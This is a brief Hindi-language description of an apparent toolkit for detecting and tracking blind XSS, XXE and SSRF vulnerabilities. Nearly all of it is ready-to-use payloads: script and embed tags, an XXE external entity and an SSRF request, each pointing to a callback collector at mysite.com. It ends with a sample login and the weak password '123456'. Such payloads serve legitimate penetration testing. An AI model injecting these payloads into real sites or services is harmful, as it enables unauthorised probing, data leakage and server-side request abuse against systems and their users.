
ब्लाइंड XSS, XXE और SSRF का पता लगाने और उन पर नज़र रखने के लिए टूलकिट
ब्लाइंड XSS
<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">
ब्लाइंड XXE
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>
SSRF
GET /testssrf.php=http://mysite.com/bxssrf/request.php
USER : [email protected]
PASS : 123456